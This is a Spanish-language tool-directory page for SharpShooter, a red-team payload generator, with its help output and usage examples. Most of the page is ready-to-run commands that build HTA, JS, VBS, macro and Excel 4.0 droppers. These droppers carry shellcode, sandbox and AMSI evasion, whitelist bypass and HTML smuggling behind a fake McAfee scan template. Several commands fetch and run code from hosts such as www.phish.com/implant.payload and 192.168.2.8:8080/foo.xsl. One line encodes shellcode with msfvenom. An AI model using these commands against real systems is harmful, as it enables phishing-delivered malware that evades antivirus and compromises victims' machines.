Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SharpShooter — Framework de generación de payloads | Kitploit
Herramientas/GitHubGitHub/mdsecactivebreach/sharpshooter
Herramientas de PhishingEscalada de PrivilegiosGeneración de PayloadsExplotaciónEvasión de IDS/IPSMovimiento LateralShellcodeExplotación de Aplicaciones WebComando y ControlRed TeamingDesarrollo de PayloadsAnálisis de DNS
2.0k368hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubmdsecactivebreach/sharpshooter

SharpShooter

Framework de generación de payloads

Ver Repositorio
Compartir
root@kitploit:~
   _____ __                    _____ __                __           
  / ___// /_  ____ __________ / ___// /_  ____  ____  / /____  _____
  \__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
 ___/ / / / / /_/ / /  / /_/ /__/ / / / / /_/ / /_/ / /_/  __/ /    
/____/_/ /_/\__,_/_/  / .___/____/_/ /_/\____/\____/\__/\___/_/     
                     /_/                                            

Descripción

SharpShooter es un marco de creación de payloads para la recuperación y ejecución de código fuente arbitrario en CSharp. SharpShooter es capaz de crear payloads en una variedad de formatos, incluyendo HTA, JS, VBS y WSF. Aprovecha la herramienta DotNetToJavaScript de James Forshaw para invocar métodos del objeto serializado DotNet de SharpShooter. Los payloads se pueden recuperar mediante entrega Web o DNS, o ambas; SharpShooter es compatible con el proyecto MDSec ActiveBreach PowerDNS. Alternativamente, también se pueden generar payloads sin etapa con ejecución de shellcode incrustada para los mismos formatos de scripting.

Los payloads de SharpShooter están cifrados con RC4 usando una clave aleatoria para proporcionar cierta evasión modesta de antivirus, y el proyecto incluye la capacidad de integrar detección de sandbox y keying de entorno para ayudar a evadir la detección.

SharpShooter incluye una plantilla CSharp predefinida para ejecutar shellcode con payloads con y sin etapa, pero cualquier código CSharp puede compilarse e invocarse en memoria usando reflexión, gracias al proveedor CodeDom de CSharp.

Finalmente, SharpShooter proporciona la capacidad de empaquetar el payload dentro de un archivo HTML usando la técnica Demiguise HTML smuggling.

SharpShooter apunta a las versiones v2, v3 y v4 del framework .NET, que se encuentran en la mayoría de las estaciones de trabajo Windows de usuarios finales.

La versión 1.0 de SharpShooter introdujo varios conceptos nuevos, incluyendo COM staging, ejecución de Squiblydoo y Squiblytwo, así como ejecución XSL. Para lograr esta nueva funcionalidad, se añadieron varias flags nuevas; --com, --awl y --awlurl.

La versión 2.0 de SharpShooter añadió el módulo de bypass de AMSI, junto con soporte para generar documentos habilitados para macros VBA y Excel 4.

Puede encontrar más información en el blog post de MDSec.

Uso - Modo Línea de Comandos:

SharpShooter es altamente configurable, soportando varios tipos de payload, evasiones de sandbox, métodos de entrega y tipos de salida.

Ejecutar SharpShooter con el argumento --help producirá la siguiente salida:

root@kitploit:~
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
                       [--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
                       [--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
                       [--rawscfile <path>] [--shellcode] [--scfile <path>]
                       [--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
                       [--web <web>] [--dns <dns>] [--output <output>]
                       [--smuggle] [--template <tpl>]

optional arguments:
  -h, --help          show this help message and exit
  --stageless         Create a stageless payload
  --dotnetver <ver>   Target .NET Version: 2 or 4
  --com <com>         COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
  --awl <awl>         Application Whitelist Bypass Technique: wmic, regsvr32
  --awlurl <awlurl>   URL to retrieve XSL/SCT payload
  --payload <format>  Payload type: hta, js, jse, vba, vbe, vbs, wsf
  --sandbox <types>   Anti-sandbox techniques:
                      [1] Key to Domain (e.g. 1=CONTOSO)
                      [2] Ensure Domain Joined
                      [3] Check for Sandbox Artifacts
                      [4] Check for Bad MACs
                      [5] Check for Debugging
  --amsi <amsi>       Use amsi bypass technique: amsienable
  --delivery <type>   Delivery method: web, dns, both
  --rawscfile <path>  Path to raw shellcode file for stageless payloads
  --shellcode         Use built in shellcode execution
  --scfile <path>     Path to shellcode file as CSharp byte array
  --refs <refs>       References required to compile custom CSharp,
                      e.g. mscorlib.dll,System.Windows.Forms.dll
  --namespace <ns>    Namespace for custom CSharp,
                      e.g. Foo.bar
  --entrypoint <ep>   Method to execute,
                      e.g. Main
  --web <web>         URI for web delivery
  --dns <dns>         Domain for DNS delivery
  --output <output>   Name of output file (e.g. maldoc)
  --smuggle           Smuggle file inside HTML
  --template <tpl>    Name of template file (e.g. mcafee)

A continuación se proporcionan ejemplos de algunos casos de uso:

JavaScript sin etapa

root@kitploit:~
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

Crea un payload JavaScript sin etapa orientado a la versión 4 del framework .NET. Este ejemplo creará un payload llamado foo.js en el directorio de salida. El shellcode se lee del archivo ./raw.txt. El payload intenta imponer cierta evasión de sandbox vinculando la ejecución al dominio CONTOSO y verificando artefactos conocidos de sandbox/VM.

HTA sin etapa

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

Crea un payload HTA sin etapa orientado a la versión 2/3 del framework .NET. Este ejemplo creará un payload llamado foo.hta en el directorio de salida. El shellcode se lee del archivo ./raw.txt. El payload intenta imponer cierta evasión de sandbox verificando direcciones MAC virtuales conocidas. También se generará un payload de contrabando HTML llamado foo.html en el directorio de salida. Este payload usará la plantilla de ejemplo de escaneo de virus McAfee.

VBS con etapa

root@kitploit:~
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

Este ejemplo crea un payload VBS con etapa que realiza entrega tanto Web como DNS. El payload intentará recuperar un archivo CSharp comprimido con GZip que ejecuta el shellcode proporcionado como un arreglo de bytes CSharp en el archivo csharpsc.txt. El archivo CSharp utilizado es la plantilla de ejecución de shellcode integrada de SharpShooter. El payload se crea en el directorio de salida con el nombre foo.payload y debe alojarse en http://www.foo.bar/shellcode.payload. El mismo archivo también debe alojarse en el dominio bar.foo usando PowerDNS para servirlo. El archivo VBS intentará vincular la ejecución al dominio CONTOSO y se incrustará en un archivo HTML usando la técnica de contrabando HTML con la plantilla de escaneo de virus McAfee. El payload resultante se almacena en el directorio de salida con el nombre foo.html.

CSharp personalizado dentro de VBS

root@kitploit:~
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

Este ejemplo demuestra cómo crear un payload JS con etapa que realiza entrega web, recuperando un payload de http://www.phish.com/implant.payload. El payload generado intentará evadir el sandbox y compilar el payload recuperado, que requiere mscorlib.dll y System.Windows.Forms.dll como referencias DLL. El método Main en el espacio de nombres MDSec.SharpShooter se ejecutará si la compilación es exitosa.

Creación de un VBS Squiblytwo

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

Este ejemplo crea un stager COM contrabandeado en VBS que usa el método COM Outlook.CreateObject() como primitiva para ejecutar wmic.exe y ejecutar una hoja de estilo alojada. El parámetro --awl no se usa, por defecto es wmic.

Creación de un XSL HTA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Este ejemplo crea un archivo HTA contrabandeado que usa la interfaz COM XMLDOM para recuperar y ejecutar una hoja de estilo alojada.

Creación de una Macro VBA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Este ejemplo crea un archivo de macro VBA que usa la interfaz COM XMLDOM para recuperar y ejecutar una hoja de estilo alojada.

Creación de un Documento Habilitado para Macros Excel 4.0 SLK

root@kitploit:~
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

Este ejemplo crea un archivo Excel 4.0 SLK que ejecuta el shellcode proporcionado y lo envuelve en HTML. El shellcode no puede contener bytes nulos, pista:

root@kitploit:~
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

Autor y Créditos

Autor: Dominic Chell, MDSec ActiveBreach @domchell y @mdseclabs

Créditos:

  • @tiraniddo: James Forshaw por DotNetToJScript
  • @Arno0x0x: por EmbedInHTML
  • @buffaloverflow: Rich Warren por Demiguise
  • @arvanaghi y @ChrisTruncer: Brandon Arvanaghi y Chris Truncer por CheckPlease
  • @subTee: Documentación de las técnicas Squiblydoo y Squiblytwo
  • @StanHacked: Técnica Excel 4.0 y ejemplos de código
Descargar herramienta